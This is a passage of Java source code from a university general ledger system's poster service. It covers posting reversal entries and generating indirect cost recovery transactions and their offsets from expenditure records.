reversal.getUniversityFiscalYear()); if (ap != null) { if (!ap.isActive()) { // Make sure accounting period is closed reversal.setUniversityFiscalYear(runUniversityDate.getUniversityFiscalYear()); reversal.setUniversityFiscalPeriodCode(runUniversityDate.getUniversityFiscalAccountingPeriod()); } reversal.setFinancialDocumentReversalDate(null); String newDescription = OLEConstants.GL_REVERSAL_DESCRIPTION_PREFIX + reversal.getTransactionLedgerEntryDescription(); if (newDescription.length() > 40) { newDescription = newDescription.substring(0, 40); } reversal.setTransactionLedgerEntryDescription(newDescription); } else { errors.add(new Message(configurationService.getPropertyValueAsString(OLEKeyConstants.ERROR_UNIV_DATE_NOT_IN_ACCOUNTING_PERIOD_TABLE), Message.TYPE_WARNING)); } } else { errors.add(new Message (configurationService.getPropertyValueAsString(OLEKeyConstants.ERROR_REVERSAL_DATE_NOT_IN_UNIV_DATE_TABLE) , Message.TYPE_WARNING)); } // Make sure the row will be unique when adding to the entries table by adjusting the transaction sequence id int maxSequenceId = accountingCycleCachingService.getMaxSequenceNumber(reversal); reversal.setTransactionLedgerEntrySequenceNumber(new Integer(maxSequenceId + 1)); PersistenceService ps = SpringContext.getBean(PersistenceService.class); ps.retrieveNonKeyFields(reversal); tran = reversal; } else { tran.setChart(accountingCycleCachingService.getChart(tran.getChartOfAccountsCode())); tran.setAccount(accountingCycleCachingService.getAccount(tran.getChartOfAccountsCode(), tran.getAccountNumber())); tran.setObjectType(accountingCycleCachingService.getObjectType(tran.getFinancialObjectTypeCode())); tran.setBalanceType(accountingCycleCachingService.getBalanceType(tran.getFinancialBalanceTypeCode())); tran.setOption(accountingCycleCachingService.getSystemOptions(tran.getUniversityFiscalYear())); ObjectCode objectCode = accountingCycleCachingService.getObjectCode(tran.getUniversityFiscalYear(), tran.getChartOfAccountsCode(), tran.getFinancialObjectCode()); if (ObjectUtils.isNull(objectCode)) { LOG.warn(configurationService.getPropertyValueAsString(OLEKeyConstants.ERROR_OBJECT_CODE_NOT_FOUND_FOR) + tran.getUniversityFiscalYear() + "," + tran.getChartOfAccountsCode() + "," + tran.getFinancialObjectCode()); errors.add(new Message(configurationService.getPropertyValueAsString(OLEKeyConstants.ERROR_OBJECT_CODE_NOT_FOUND_FOR) + tran.getUniversityFiscalYear() + "," + tran.getChartOfAccountsCode() + "," + tran.getFinancialObjectCode(), Message.TYPE_WARNING)); } else { tran.setFinancialObject(accountingCycleCachingService.getObjectCode(tran.getUniversityFiscalYear(), tran.getChartOfAccountsCode(), tran.getFinancialObjectCode())); } // Make sure the row will be unique when adding to the entries table by adjusting the transaction sequence id int maxSequenceId = accountingCycleCachingService.getMaxSequenceNumber(tran); ((OriginEntryFull) tran).setTransactionLedgerEntrySequenceNumber(new Integer(maxSequenceId + 1)); } // verify accounting period AccountingPeriod originEntryAccountingPeriod = accountingCycleCachingService.getAccountingPeriod(tran.getUniversityFiscalYear(), tran.getUniversityFiscalPeriodCode()); if (originEntryAccountingPeriod == null) { errors.add(new Message(configurationService.getPropertyValueAsString(OLEKeyConstants.ERROR_ACCOUNTING_PERIOD_NOT_FOUND) + " for " + tran.getUniversityFiscalYear() + "/" + tran.getUniversityFiscalPeriodCode(), Message.TYPE_FATAL)); } if (errors.size() == 0) { try { errors = verifyTransaction.verifyTransaction(tran); } catch (Exception e) { errors.add(new Message(e.toString() + " occurred for this record.", Message.TYPE_FATAL)); } } if (errors.size() > 0) { // Error on this transaction reportWriterService.writeError(tran, errors); addReporting(reportSummary, "WARNING", GeneralLedgerConstants.INSERT_CODE); try { writeErrorEntry(line, invalidGroup); } catch (IOException ioe) { LOG.error("PosterServiceImpl Stopped: " + ioe.getMessage(), ioe); throw new RuntimeException("PosterServiceImpl Stopped: " + ioe.getMessage(), ioe); } } else { // No error so post it for (Iterator posterIter = transactionPosters.iterator(); posterIter.hasNext();) { PostTransaction poster = (PostTransaction) posterIter.next(); String actionCode = poster.post(tran, mode, runUniversityDate.getUniversityDate(), reportWriterService); if (actionCode.startsWith(GeneralLedgerConstants.ERROR_CODE)) { errors = new ArrayList<Message>(); errors.add(new Message(actionCode, Message.TYPE_WARNING)); reportWriterService.writeError(tran, errors); } else if (actionCode.indexOf(GeneralLedgerConstants.INSERT_CODE) >= 0) { addReporting(reportSummary, poster.getDestinationName(), GeneralLedgerConstants.INSERT_CODE); } else if (actionCode.indexOf(GeneralLedgerConstants.UPDATE_CODE) >= 0) { addReporting(reportSummary, poster.getDestinationName(), GeneralLedgerConstants.UPDATE_CODE); } else if (actionCode.indexOf(GeneralLedgerConstants.DELETE_CODE) >= 0) { addReporting(reportSummary, poster.getDestinationName(), GeneralLedgerConstants.DELETE_CODE); } else if (actionCode.indexOf(GeneralLedgerConstants.SELECT_CODE) >= 0) { addReporting(reportSummary, poster.getDestinationName(), GeneralLedgerConstants.SELECT_CODE); } } if (errors.size() == 0) { // Delete the reversal entry if (mode == PosterService.MODE_REVERSAL) { createOutputEntry(tran, OUTPUT_GLE_FILE_ps); reversalDao.delete((Reversal) originalTransaction); addReporting(reportSummary, getPersistenceStructureService().getTableName(Reversal.class), GeneralLedgerConstants.DELETE_CODE); } ledgerSummaryReport.summarizeEntry(new OriginEntryFull(tran)); return true; } } return false; } catch (IOException ioe) { LOG.error("PosterServiceImpl Stopped: " + ioe.getMessage(), ioe); throw new RuntimeException("PosterServiceImpl Stopped: " + ioe.getMessage(), ioe); } catch (RuntimeException re) { LOG.error("PosterServiceImpl Stopped: " + re.getMessage(), re); throw new RuntimeException("PosterServiceImpl Stopped: " + re.getMessage(), re); } } /** * This step reads the expenditure table and uses the data to generate Indirect Cost Recovery transactions. */ public void generateIcrTransactions() { LOG.debug("generateIcrTransactions() started"); Date executionDate = dateTimeService.getCurrentSqlDate(); Date runDate = new Date(runDateService.calculateRunDate(executionDate).getTime()); try { PrintStream OUTPUT_GLE_FILE_ps = new PrintStream(batchFileDirectoryName + File.separator + GeneralLedgerConstants.BatchFileSystem.ICR_TRANSACTIONS_OUTPUT_FILE + GeneralLedgerConstants.BatchFileSystem.EXTENSION); int reportExpendTranRetrieved = 0; int reportExpendTranDeleted = 0; int reportExpendTranKept = 0; int reportOriginEntryGenerated = 0; Iterator expenditureTransactions; try { expenditureTransactions = expenditureTransactionDao.getAllExpenditureTransactions(); } catch (RuntimeException re) { LOG.error("generateIcrTransactions Stopped: " + re.getMessage()); throw new RuntimeException("generateIcrTransactions Stopped: " + re.getMessage(), re); } while (expenditureTransactions.hasNext()) { ExpenditureTransaction et = new ExpenditureTransaction(); try { et = (ExpenditureTransaction) expenditureTransactions.next(); reportExpendTranRetrieved++; KualiDecimal transactionAmount = et.getAccountObjectDirectCostAmount(); KualiDecimal distributionAmount = KualiDecimal.ZERO; if (shouldIgnoreExpenditureTransaction(et)) { // Delete expenditure record expenditureTransactionDao.delete(et); reportExpendTranDeleted++; continue; } IndirectCostRecoveryGenerationMetadata icrGenerationMetadata = retrieveSubAccountIndirectCostRecoveryMetadata(et); if (icrGenerationMetadata == null) { // ICR information was not set up properly for sub-account, default to using ICR information from the account icrGenerationMetadata = retrieveAccountIndirectCostRecoveryMetadata(et); } Collection<IndirectCostRecoveryRateDetail> automatedEntries = indirectCostRecoveryRateDetailDao.getActiveRateDetailsByRate(et.getUniversityFiscalYear(), icrGenerationMetadata.getFinancialIcrSeriesIdentifier()); int automatedEntriesCount = automatedEntries.size(); if (automatedEntriesCount > 0) { for (Iterator icrIter = automatedEntries.iterator(); icrIter.hasNext();) { IndirectCostRecoveryRateDetail icrEntry = (IndirectCostRecoveryRateDetail) icrIter.next(); KualiDecimal generatedTransactionAmount = null; if (!icrIter.hasNext()) { generatedTransactionAmount = distributionAmount; // Log differences that are over WARNING_MAX_DIFFERENCE if (getPercentage(transactionAmount, icrEntry.getAwardIndrCostRcvyRatePct()).subtract(distributionAmount).abs().isGreaterThan(WARNING_MAX_DIFFERENCE)) { List<Message> warnings = new ArrayList<Message>(); warnings.add(new Message("ADJUSTMENT GREATER THAN " + WARNING_MAX_DIFFERENCE, Message.TYPE_WARNING)); reportWriterService.writeError(et, warnings); } } else if (icrEntry.getTransactionDebitIndicator().equals(OLEConstants.GL_DEBIT_CODE)) { generatedTransactionAmount = getPercentage(transactionAmount, icrEntry.getAwardIndrCostRcvyRatePct()); distributionAmount = distributionAmount.add(generatedTransactionAmount); } else if (icrEntry.getTransactionDebitIndicator().equals(OLEConstants.GL_CREDIT_CODE)) { generatedTransactionAmount = getPercentage(transactionAmount, icrEntry.getAwardIndrCostRcvyRatePct()); distributionAmount = distributionAmount.subtract(generatedTransactionAmount); } else { // Log if D / C code not found List<Message> warnings = new ArrayList<Message>(); warnings.add(new Message("DEBIT OR CREDIT CODE NOT FOUND", Message.TYPE_FATAL)); reportWriterService.writeError(et, warnings); } //KFSMI-5614 CHANGED generateTransactionsBySymbol(et, icrEntry, generatedTransactionAmount, runDate, OUTPUT_GLE_FILE_ps, icrGenerationMetadata); reportOriginEntryGenerated = reportOriginEntryGenerated + 2; } } // Delete expenditure record expenditureTransactionDao.delete(et); reportExpendTranDeleted++; } catch (RuntimeException re) { LOG.error("generateIcrTransactions Stopped: " + re.getMessage()); throw new RuntimeException("generateIcrTransactions Stopped: " + re.getMessage(), re); } catch (Exception e) { List errorList = new ArrayList(); errorList.add(new Message(e.toString() + " occurred for this record.", Message.TYPE_FATAL)); reportWriterService.writeError(et, errorList); } } OUTPUT_GLE_FILE_ps.close(); reportWriterService.writeStatisticLine("GLEX RECORDS READ (GL_EXPEND_TRN_MT) %,9d", reportExpendTranRetrieved); reportWriterService.writeStatisticLine("GLEX RECORDS DELETED (GL_EXPEND_TRN_MT) %,9d", reportExpendTranDeleted); reportWriterService.writeStatisticLine("GLEX RECORDS KEPT DUE TO ERRORS (GL_EXPEND_TRN_MT) %,9d", reportExpendTranKept); reportWriterService.writeStatisticLine("TRANSACTIONS GENERATED %,9d", reportOriginEntryGenerated); } catch (FileNotFoundException e) { throw new RuntimeException("generateIcrTransactions Stopped: " + e.getMessage(), e); } } /** * Wrapper function to allow for internal iterations on ICR account distribution collection if determined to use ICR from account * * @param et * @param icrRateDetail * @param generatedTransactionAmount * @param runDate * @param group * @param icrGenerationMetadata */ private void generateTransactionsBySymbol(ExpenditureTransaction et, IndirectCostRecoveryRateDetail icrRateDetail, KualiDecimal generatedTransactionAmount, Date runDate, PrintStream group, IndirectCostRecoveryGenerationMetadata icrGenerationMetadata) { KualiDecimal icrTransactionAmount; KualiDecimal unappliedTransactionAmount = new KualiDecimal(generatedTransactionAmount.bigDecimalValue()); //if symbol is denoted to use ICR from account if (GeneralLedgerConstants.PosterService.SYMBOL_USE_ICR_FROM_ACCOUNT.equals(icrRateDetail.getAccountNumber())) { int icrCount = icrGenerationMetadata.getAccountLists().size(); for (IndirectCostRecoveryAccountDistributionMetadata meta : icrGenerationMetadata.getAccountLists()){ //set a new icr meta data for transaction processing IndirectCostRecoveryGenerationMetadata icrMeta = new IndirectCostRecoveryGenerationMetadata(icrGenerationMetadata.getIndirectCostRecoveryTypeCode(), icrGenerationMetadata.getFinancialIcrSeriesIdentifier()); icrMeta.setIndirectCostRcvyFinCoaCode(meta.getIndirectCostRecoveryFinCoaCode()); icrMeta.setIndirectCostRecoveryAcctNbr(meta.getIndirectCostRecoveryAccountNumber()); //change the transaction amount base on ICR percentage if (icrCount-- == 1) { // Deplete the rest of un-applied transaction amount icrTransactionAmount = unappliedTransactionAmount; } else { // Normal transaction amount is calculated by icr account line percentage icrTransactionAmount = getPercentage(generatedTransactionAmount, meta.getAccountLinePercent()); unappliedTransactionAmount = unappliedTransactionAmount.subtract(icrTransactionAmount); } //perform the actual transaction generation generateTransactions(et, icrRateDetail, icrTransactionAmount, runDate, group, icrMeta); } }else{ //non-ICR; process as usual generateTransactions(et, icrRateDetail, generatedTransactionAmount, runDate, group, icrGenerationMetadata); } } /** * Generate a transfer transaction and an offset transaction * * @param et an expenditure transaction * @param icrEntry the indirect cost recovery entry * @param generatedTransactionAmount the amount of the transaction * @param runDate the transaction date for the newly created origin entry * @param group the group to save the origin entry to */ protected void generateTransactions(ExpenditureTransaction et, IndirectCostRecoveryRateDetail icrRateDetail, KualiDecimal generatedTransactionAmount, Date runDate, PrintStream group, IndirectCostRecoveryGenerationMetadata icrGenerationMetadata) { BigDecimal pct = new BigDecimal(icrRateDetail.getAwardIndrCostRcvyRatePct().toString()); pct = pct.divide(BDONEHUNDRED); OriginEntryFull e = new OriginEntryFull(); e.setTransactionLedgerEntrySequenceNumber(0); // SYMBOL_USE_EXPENDITURE_ENTRY means we use the field from the expenditure entry, SYMBOL_USE_IRC_FROM_ACCOUNT // means we use the ICR field from the account record, otherwise, use the field in the icrRateDetail if (GeneralLedgerConstants.PosterService.SYMBOL_USE_EXPENDITURE_ENTRY.equals(icrRateDetail.getFinancialObjectCode()) || GeneralLedgerConstants.PosterService.SYMBOL_USE_ICR_FROM_ACCOUNT.equals(icrRateDetail.getFinancialObjectCode())) { e.setFinancialObjectCode(et.getObjectCode()); e.setFinancialSubObjectCode(et.getSubObjectCode()); } else { e.setFinancialObjectCode(icrRateDetail.getFinancialObjectCode()); e.setFinancialSubObjectCode(icrRateDetail.getFinancialSubObjectCode()); } if (GeneralLedgerConstants.PosterService.SYMBOL_USE_EXPENDITURE_ENTRY.equals(icrRateDetail.getAccountNumber())) { e.setAccountNumber(et.getAccountNumber()); e.setChartOfAccountsCode(et.getChartOfAccountsCode()); e.setSubAccountNumber(et.getSubAccountNumber()); } else if (GeneralLedgerConstants.PosterService.SYMBOL_USE_ICR_FROM_ACCOUNT.equals(icrRateDetail.getAccountNumber())) { e.setAccountNumber(icrGenerationMetadata.getIndirectCostRecoveryAcctNbr()); e.setChartOfAccountsCode(icrGenerationMetadata.getIndirectCostRcvyFinCoaCode()); e.setSubAccountNumber(OLEConstants.getDashSubAccountNumber()); } else { e.setAccountNumber(icrRateDetail.getAccountNumber()); e.setSubAccountNumber(icrRateDetail.getSubAccountNumber()); e.setChartOfAccountsCode(icrRateDetail.getChartOfAccountsCode()); // TODO Reporting thing line 1946 } // take care of infinite recursive error case - do not generate entries if ((et.getAccountNumber().equals(e.getAccountNumber() )) && ( et.getChartOfAccountsCode().equals(e.getChartOfAccountsCode())) && (et.getSubAccountNumber().equals(e.getSubAccountNumber())) && (et.getObjectCode().equals(e.getFinancialObjectCode())) && (et.getSubObjectCode().equals(e.getFinancialSubObjectCode()))) { List<Message> warnings = new ArrayList<Message>(); warnings.add(new Message("Infinite recursive encumbrance error " + et.getChartOfAccountsCode() + " " + et.getAccountNumber() + " " + et.getSubAccountNumber() + " " + et.getObjectCode() + " " + et.getSubObjectCode(), Message.TYPE_WARNING)); reportWriterService.writeError(et, warnings); return; } e.setFinancialDocumentTypeCode(parameterService.getParameterValueAsString(PosterIndirectCostRecoveryEntriesStep.class, OLEConstants.SystemGroupParameterNames.GL_INDIRECT_COST_RECOVERY)); e.setFinancialSystemOriginationCode(parameterService.getParameterValueAsString(OleParameterConstants.GENERAL_LEDGER_BATCH.class, OLEConstants.SystemGroupParameterNames.GL_ORIGINATION_CODE)); SimpleDateFormat sdf = new SimpleDateFormat(DATE_FORMAT_STRING); e.setDocumentNumber(sdf.format(runDate)); if (OLEConstants.GL_DEBIT_CODE.equals(icrRateDetail.getTransactionDebitIndicator())) { e.setTransactionLedgerEntryDescription(getChargeDescription(pct, et.getObjectCode(), icrGenerationMetadata.getIndirectCostRecoveryTypeCode(), et.getAccountObjectDirectCostAmount().abs())); } else { e.setTransactionLedgerEntryDescription(getOffsetDescription(pct, et.getAccountObjectDirectCostAmount().abs(), et.getChartOfAccountsCode(), et.getAccountNumber())); } e.setTransactionDate(new java.sql.Date(runDate.getTime())); e.setTransactionDebitCreditCode(icrRateDetail.getTransactionDebitIndicator()); e.setFinancialBalanceTypeCode(et.getBalanceTypeCode()); e.setUniversityFiscalYear(et.getUniversityFiscalYear()); e.setUniversityFiscalPeriodCode(et.getUniversityFiscalAccountingPeriod()); ObjectCode oc = objectCodeService.getByPrimaryId(e.getUniversityFiscalYear(), e.getChartOfAccountsCode(), e.getFinancialObjectCode()); if (oc == null) { LOG.warn(configurationService.getPropertyValueAsString(OLEKeyConstants.ERROR_OBJECT_CODE_NOT_FOUND_FOR) + e.getUniversityFiscalYear() + "," + e.getChartOfAccountsCode() + "," + e.getFinancialObjectCode()); e.setFinancialObjectCode(icrRateDetail.getFinancialObjectCode()); // this will be written out the ICR file. Then, when that file attempts to post, the transaction won't validate and will end up in the icr error file } else { e.setFinancialObjectTypeCode(oc.getFinancialObjectTypeCode()); } if (generatedTransactionAmount.isNegative()) { if (OLEConstants.GL_DEBIT_CODE.equals(icrRateDetail.getTransactionDebitIndicator())) { e.setTransactionDebitCreditCode(OLEConstants.GL_CREDIT_CODE); } else { e.setTransactionDebitCreditCode(OLEConstants.GL_DEBIT_CODE); } e.setTransactionLedgerEntryAmount(generatedTransactionAmount.negated()); } else { e.setTransactionLedgerEntryAmount(generatedTransactionAmount); } if (et.getBalanceTypeCode().equals(et.getOption().getExtrnlEncumFinBalanceTypCd()) || et.getBalanceTypeCode().equals(et.getOption().getIntrnlEncumFinBalanceTypCd()) || et.getBalanceTypeCode().equals(et.getOption().getPreencumbranceFinBalTypeCd()) || et.getBalanceTypeCode().equals(et.getOption().getCostShareEncumbranceBalanceTypeCd())) { e.setDocumentNumber(parameterService.getParameterValueAsString(PosterIndirectCostRecoveryEntriesStep.class, OLEConstants.SystemGroupParameterNames.GL_INDIRECT_COST_RECOVERY)); } e.setProjectCode(et.getProjectCode()); if (GeneralLedgerConstants.getDashOrganizationReferenceId().equals(et.getOrganizationReferenceId())) { e.setOrganizationReferenceId(null); } else { e.setOrganizationReferenceId(et.getOrganizationReferenceId()); } // TODO 2031-2039 try { createOutputEntry(e, group); } catch (IOException ioe) { LOG.error("generateTransactions Stopped: " + ioe.getMessage()); throw new RuntimeException("generateTransactions Stopped: " + ioe.getMessage(), ioe); } // Now generate Offset e = new OriginEntryFull(e); if (OLEConstants.GL_DEBIT_CODE.equals(e.getTransactionDebitCreditCode())) { e.setTransactionDebitCreditCode(OLEConstants.GL_CREDIT_CODE); } else { e.setTransactionDebitCreditCode(OLEConstants.GL_DEBIT_CODE); } e.setFinancialSubObjectCode(OLEConstants.getDashFinancialSubObjectCode()); String offsetBalanceSheetObjectCodeNumber = determineIcrOffsetBalanceSheetObjectCodeNumber(e, et, icrRateDetail); e.setFinancialObjectCode(offsetBalanceSheetObjectCodeNumber); ObjectCode balSheetObjectCode = objectCodeService.getByPrimaryId(icrRateDetail.getUniversityFiscalYear(), e.getChartOfAccountsCode(), offsetBalanceSheetObjectCodeNumber); if (balSheetObjectCode == null) { List<Message> warnings = new ArrayList<Message>(); warnings.add(new Message(configurationService.getPropertyValueAsString(OLEKeyConstants.ERROR_INVALID_OFFSET_OBJECT_CODE) + icrRateDetail.getUniversityFiscalYear() + "-" + e.getChartOfAccountsCode() + "-" +offsetBalanceSheetObjectCodeNumber, Message.TYPE_WARNING)); reportWriterService.writeError(et, warnings); } else { e.setFinancialObjectTypeCode(balSheetObjectCode.getFinancialObjectTypeCode()); } if (OLEConstants.GL_DEBIT_CODE.equals(icrRateDetail.getTransactionDebitIndicator())) { e.setTransactionLedgerEntryDescription(getChargeDescription(pct, et.getObjectCode(), icrGenerationMetadata.getIndirectCostRecoveryTypeCode(), et.getAccountObjectDirectCostAmount().abs())); } else { e.setTransactionLedgerEntryDescription(getOffsetDescription(pct, et.getAccountObjectDirectCostAmount().abs(), et.getChartOfAccountsCode(), et.getAccountNumber())); } try { flexibleOffsetAccountService.updateOffset(e); } catch (InvalidFlexibleOffsetException ex) { List<Message> warnings = new ArrayList<Message>(); warnings.add(new Message("FAILED TO GENERATE FLEXIBLE OFFSETS " + ex.getMessage(), Message.TYPE_WARNING)); reportWriterService.writeError(et, warnings); LOG.warn("FAILED TO GENERATE FLEXIBLE OFFSETS FOR EXPENDITURE TRANSACTION " + et.toString(), ex); } try { createOutputEntry(e, group); } catch (IOException ioe) { LOG.error("generateTransactions Stopped: " + ioe.getMessage()); throw new RuntimeException("generateTransactions Stopped: " + ioe.getMessage(), ioe); } } public final static KualiDecimal ONEHUNDRED = new KualiDecimal("100"); public final static DecimalFormat DFPCT = new DecimalFormat("#0.000"); public final static DecimalFormat DFAMT = new DecimalFormat("##########.00"); public final static BigDecimal BDONEHUNDRED = new BigDecimal("100"); /** * Returns ICR Generation Metadata based on SubAccount information if the SubAccount on the expenditure transaction is properly * set up for ICR * * @param et * @param reportErrors * @return null if the ET does not have a SubAccount properly set up for ICR */ protected IndirectCostRecoveryGenerationMetadata retrieveSubAccountIndirectCostRecoveryMetadata(ExpenditureTransaction et) { SubAccount subAccount = accountingCycleCachingService.getSubAccount(et.getChartOfAccountsCode(), et.getAccountNumber(), et.getSubAccountNumber()); if (ObjectUtils.isNotNull(subAccount)) { subAccount.setA21SubAccount(accountingCycleCachingService.getA21SubAccount(et.getChartOfAccountsCode(), et.getAccountNumber(), et.getSubAccountNumber())); } if (ObjectUtils.isNotNull(subAccount) && ObjectUtils.isNotNull(subAccount.getA21SubAccount())) { A21SubAccount a21SubAccount = subAccount.getA21SubAccount(); if (StringUtils.isBlank(a21SubAccount.getIndirectCostRecoveryTypeCode()) && StringUtils.isBlank(a21SubAccount.getFinancialIcrSeriesIdentifier()) && a21SubAccount.getA21ActiveIndirectCostRecoveryAccounts().isEmpty()) { // all ICR fields were blank, therefore, this sub account was not set up for ICR return null; } // refresh the indirect cost recovery account, accounting cycle style! Account refreshSubAccount = null; if (!StringUtils.isBlank(a21SubAccount.getChartOfAccountsCode()) && !StringUtils.isBlank(a21SubAccount.getAccountNumber())) { refreshSubAccount = accountingCycleCachingService.getAccount(a21SubAccount.getChartOfAccountsCode(), a21SubAccount.getAccountNumber()); } // these fields will be used to construct warning messages String warningMessagePattern = configurationService.getPropertyValueAsString(OLEKeyConstants.WARNING_ICR_GENERATION_PROBLEM_WITH_A21SUBACCOUNT_FIELD_BLANK_INVALID); String subAccountBOLabel = dataDictionaryService.getDataDictionary().getBusinessObjectEntry(SubAccount.class.getName()).getObjectLabel(); String subAccountValue = subAccount.getChartOfAccountsCode() + "-" + subAccount.getAccountNumber() + "-" + subAccount.getSubAccountNumber(); String accountBOLabel = dataDictionaryService.getDataDictionary().getBusinessObjectEntry(Account.class.getName()).getObjectLabel(); String accountValue = et.getChartOfAccountsCode() + "-" + et.getAccountNumber(); boolean subAccountOK = true; // there were some ICR fields that were filled in, make sure they're all filled in and are valid values a21SubAccount.setIndirectCostRecoveryType(accountingCycleCachingService.getIndirectCostRecoveryType(a21SubAccount.getIndirectCostRecoveryTypeCode())); if (StringUtils.isBlank(a21SubAccount.getIndirectCostRecoveryTypeCode()) || ObjectUtils.isNull(a21SubAccount.getIndirectCostRecoveryType())) { String errorFieldName = dataDictionaryService.getAttributeShortLabel(A21SubAccount.class, OLEPropertyConstants.INDIRECT_COST_RECOVERY_TYPE_CODE); String warningMessage = MessageFormat.format(warningMessagePattern, errorFieldName, subAccountBOLabel, subAccountValue, accountBOLabel, accountValue); reportWriterService.writeError(et, new Message(warningMessage, Message.TYPE_WARNING)); subAccountOK = false; } if (StringUtils.isBlank(a21SubAccount.getFinancialIcrSeriesIdentifier())) { Map<String, Object> icrRatePkMap = new HashMap<String, Object>(); icrRatePkMap.put(OLEPropertyConstants.UNIVERSITY_FISCAL_YEAR, et.getUniversityFiscalYear()); icrRatePkMap.put(OLEPropertyConstants.FINANCIAL_ICR_SERIES_IDENTIFIER, a21SubAccount.getFinancialIcrSeriesIdentifier()); IndirectCostRecoveryRate indirectCostRecoveryRate = (IndirectCostRecoveryRate) businessObjectService.findByPrimaryKey(IndirectCostRecoveryRate.class, icrRatePkMap); if (indirectCostRecoveryRate == null) { String errorFieldName = dataDictionaryService.getAttributeShortLabel(A21SubAccount.class, OLEPropertyConstants.FINANCIAL_ICR_SERIES_IDENTIFIER); String warningMessage = MessageFormat.format(warningMessagePattern, errorFieldName, subAccountBOLabel, subAccountValue, accountBOLabel, accountValue); reportWriterService.writeError(et, new Message(warningMessage, Message.TYPE_WARNING)); subAccountOK = false; } } if (a21SubAccount.getA21ActiveIndirectCostRecoveryAccounts().isEmpty() || ObjectUtils.isNull(refreshSubAccount)) { String errorFieldName = dataDictionaryService.getAttributeShortLabel(A21IndirectCostRecoveryAccount.class, OLEPropertyConstants.ICR_CHART_OF_ACCOUNTS_CODE) + "/" + dataDictionaryService.getAttributeShortLabel(A21IndirectCostRecoveryAccount.class, OLEPropertyConstants.ICR_ACCOUNT_NUMBER); String warningMessage = MessageFormat.format(warningMessagePattern, errorFieldName, subAccountBOLabel, subAccountValue, accountBOLabel, accountValue); reportWriterService.writeError(et, new Message(warningMessage, Message.TYPE_WARNING)); subAccountOK = false; } if (subAccountOK) { IndirectCostRecoveryGenerationMetadata metadata = new IndirectCostRecoveryGenerationMetadata(a21SubAccount.getIndirectCostRecoveryTypeCode(), a21SubAccount.getFinancialIcrSeriesIdentifier()); List<IndirectCostRecoveryAccountDistributionMetadata> icrAccountList = metadata.getAccountLists(); for (A21IndirectCostRecoveryAccount a21 : a21SubAccount.getA21ActiveIndirectCostRecoveryAccounts()){ icrAccountList.add(new IndirectCostRecoveryAccountDistributionMetadata(a21)); } return metadata; } } return null; } protected IndirectCostRecoveryGenerationMetadata retrieveAccountIndirectCostRecoveryMetadata(ExpenditureTransaction et) { Account account = et.getAccount(); IndirectCostRecoveryGenerationMetadata metadata = new IndirectCostRecoveryGenerationMetadata(account.getAcctIndirectCostRcvyTypeCd(), account.getFinancialIcrSeriesIdentifier()); List<IndirectCostRecoveryAccountDistributionMetadata> icrAccountList = metadata.getAccountLists(); for (IndirectCostRecoveryAccount icr : account.getActiveIndirectCostRecoveryAccounts()){ icrAccountList.add(new IndirectCostRecoveryAccountDistributionMetadata(icr)); } return metadata; } /** * Generates a percent of a KualiDecimal amount (great for finding out how much of an origin entry should be recouped by * indirect cost recovery) * * @param amount the original amount * @param percent the percentage of that amount to calculate * @return the percent of the amount */ protected KualiDecimal getPercentage(KualiDecimal amount, BigDecimal percent) { BigDecimal result = amount.bigDecimalValue().multiply(percent).divide(BDONEHUNDRED, 2, BigDecimal.ROUND_DOWN); return new KualiDecimal(result); } /** * Generates the description of a charge * * @param rate the ICR rate for this entry * @param objectCode the object code of this entry * @param type the ICR type code of this entry's account * @param amount the amount of this entry * @return a description for the charge entry */ protected String getChargeDescription(BigDecimal rate, String objectCode, String type, KualiDecimal amount) { BigDecimal newRate = rate.multiply(PosterServiceImpl.BDONEHUNDRED); StringBuffer desc = new StringBuffer("CHG "); if (newRate.doubleValue() < 10) { desc.append(" "); } desc.append(DFPCT.format(newRate)); desc.append("% ON "); desc.append(objectCode); desc.append(" ("); desc.append(type); desc.append(") "); String amt = DFAMT.format(amount); while (amt.length() < 13) { amt = " " + amt; } desc.append(amt); return desc.toString(); } /** * Returns the description of a debit origin entry created by generateTransactions * * @param rate the ICR rate that relates to this entry * @param amount the amount of this entry * @param chartOfAccountsCode the chart codce of the debit entry * @param accountNumber the account number of the debit entry * @return a description for the debit entry */ protected String getOffsetDescription(BigDecimal rate, KualiDecimal amount, String chartOfAccountsCode, String accountNumber) { BigDecimal newRate = rate.multiply(PosterServiceImpl.BDONEHUNDRED); StringBuffer desc = new StringBuffer("RCV "); if (newRate.doubleValue() < 10) { desc.append(" "); } desc.append(DFPCT.format(newRate)); desc.append("% ON "); String amt = DFAMT.format(amount); while (amt.length() < 13) { amt = " " + amt; } desc.append(amt); desc.append(" FRM "); // desc.append(chartOfAccountsCode); // desc.append("-"); desc.append(accountNumber); return desc.toString(); } /** * Increments a named count holding statistics about posted transactions * * @param reporting a Map of counts generated by this process * @param destination the destination of a given transaction * @param operation the operation being performed on the transaction */ protected void addReporting(Map reporting, String destination, String operation) { String key = destination + "," + operation; //TODO: remove this if block. Added to troubleshoot FSKD-194. if("GL_EXPEND_TRN_MT".equals(destination)){ LOG.info("Counting GLEX operation: "+operation); } if (reporting.containsKey(key)) { Integer c = (Integer) reporting.get(key); reporting.put(key, new Integer(c.intValue() + 1)); } else { reporting.put(key, new Integer(1)); } } protected String determineIcrOffsetBalanceSheetObjectCodeNumber(OriginEntryInformation offsetEntry, ExpenditureTransaction et, IndirectCostRecoveryRateDetail icrRateDetail) { String icrEntryDocumentType = parameterService.getParameterValueAsString(PosterIndirectCostRecoveryEntriesStep.class, OLEConstants.SystemGroupParameterNames.GL_INDIRECT_COST_RECOVERY); OffsetDefinition offsetDefinition = offsetDefinitionService.getByPrimaryId(offsetEntry.getUniversityFiscalYear(), offsetEntry.getChartOfAccountsCode(), icrEntryDocumentType, et.getBalanceTypeCode()); if (!ObjectUtils.isNull(offsetDefinition)) { return offsetDefinition.getFinancialObjectCode(); } else { return null; } } public void setVerifyTransaction(VerifyTransaction vt) { verifyTransaction = vt; } public void setTransactionPosters(List p) { transactionPosters = p; } public void setOriginEntryService(OriginEntryService oes) { originEntryService = oes; } public void setOriginEntryGroupService(OriginEntryGroupService oes) { originEntryGroupService = oes; } public void setDateTimeService(DateTimeService dts) { dateTimeService = dts; } public void setReversalDao(ReversalDao red) { reversalDao = red; } public void setUniversityDateDao(UniversityDateDao udd) { universityDateDao = udd; } public void setAccountingPeriodService(AccountingPeriodService aps) { accountingPeriodService = aps; } public void setExpenditureTransactionDao(ExpenditureTransactionDao etd) { expenditureTransactionDao = etd; } public void setIndirectCostRecoveryRateDetailDao(IndirectCostRecoveryRateDetailDao iaed) { indirectCostRecoveryRateDetailDao = iaed; } public void setObjectCodeService(ObjectCodeService ocs) { objectCodeService = ocs; } public void setConfigurationService(ConfigurationService configurationService) { this.configurationService = 